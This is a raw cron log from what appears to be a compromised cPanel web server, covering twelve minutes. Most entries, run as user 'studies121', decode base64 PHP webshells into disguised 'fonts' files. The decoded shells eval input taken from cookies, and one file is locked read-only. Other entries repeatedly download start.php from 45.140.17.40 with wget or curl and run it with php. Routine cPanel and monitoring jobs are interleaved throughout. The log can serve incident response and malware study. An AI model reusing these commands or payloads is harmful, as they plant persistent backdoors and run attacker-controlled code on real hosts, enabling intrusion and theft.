Sep  9 16:04:01 ip-184-168-122-23 CROND[11097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:04:01 ip-184-168-122-23 CROND[11096]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:05:01 ip-184-168-122-23 CROND[11204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:05:01 ip-184-168-122-23 CROND[11207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:05:01 ip-184-168-122-23 CROND[11206]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 16:05:01 ip-184-168-122-23 CROND[11208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:05:01 ip-184-168-122-23 CROND[11210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:05:01 ip-184-168-122-23 CROND[11209]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:05:01 ip-184-168-122-23 CROND[11211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:06:01 ip-184-168-122-23 CROND[11341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:06:01 ip-184-168-122-23 CROND[11342]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:06:01 ip-184-168-122-23 CROND[11345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:06:01 ip-184-168-122-23 CROND[11347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:06:01 ip-184-168-122-23 CROND[11346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:07:01 ip-184-168-122-23 CROND[11533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:07:01 ip-184-168-122-23 CROND[11535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:07:01 ip-184-168-122-23 CROND[11536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:07:01 ip-184-168-122-23 CROND[11537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:08:01 ip-184-168-122-23 CROND[11692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:08:01 ip-184-168-122-23 CROND[11693]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:08:01 ip-184-168-122-23 CROND[11694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:08:01 ip-184-168-122-23 CROND[11697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:08:01 ip-184-168-122-23 CROND[11698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:09:01 ip-184-168-122-23 CROND[11805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:09:01 ip-184-168-122-23 CROND[11807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:09:01 ip-184-168-122-23 CROND[11810]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 16:09:01 ip-184-168-122-23 CROND[11808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:09:01 ip-184-168-122-23 CROND[11809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:10:01 ip-184-168-122-23 CROND[11932]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:10:01 ip-184-168-122-23 CROND[11934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:10:01 ip-184-168-122-23 CROND[11935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:10:01 ip-184-168-122-23 CROND[11936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:10:01 ip-184-168-122-23 CROND[11937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:10:01 ip-184-168-122-23 CROND[11938]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:10:01 ip-184-168-122-23 CROND[11939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:10:01 ip-184-168-122-23 CROND[11940]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 16:11:01 ip-184-168-122-23 CROND[12037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:11:01 ip-184-168-122-23 CROND[12040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:11:01 ip-184-168-122-23 CROND[12041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:11:01 ip-184-168-122-23 CROND[12039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:12:01 ip-184-168-122-23 CROND[12122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:12:01 ip-184-168-122-23 CROND[12124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:12:01 ip-184-168-122-23 CROND[12127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:12:01 ip-184-168-122-23 CROND[12125]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:12:01 ip-184-168-122-23 CROND[12126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:13:01 ip-184-168-122-23 CROND[12205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:13:01 ip-184-168-122-23 CROND[12207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:13:01 ip-184-168-122-23 CROND[12209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:13:01 ip-184-168-122-23 CROND[12210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:14:01 ip-184-168-122-23 CROND[12383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:14:01 ip-184-168-122-23 CROND[12388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:14:01 ip-184-168-122-23 CROND[12387]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:14:01 ip-184-168-122-23 CROND[12386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:14:01 ip-184-168-122-23 CROND[12389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:15:01 ip-184-168-122-23 CROND[12488]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 16:15:01 ip-184-168-122-23 CROND[12490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:15:01 ip-184-168-122-23 CROND[12491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:15:01 ip-184-168-122-23 CROND[12493]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:15:01 ip-184-168-122-23 CROND[12492]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:15:01 ip-184-168-122-23 CROND[12494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:15:01 ip-184-168-122-23 CROND[12495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:16:01 ip-184-168-122-23 CROND[12592]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:16:01 ip-184-168-122-23 CROND[12596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:16:01 ip-184-168-122-23 CROND[12594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
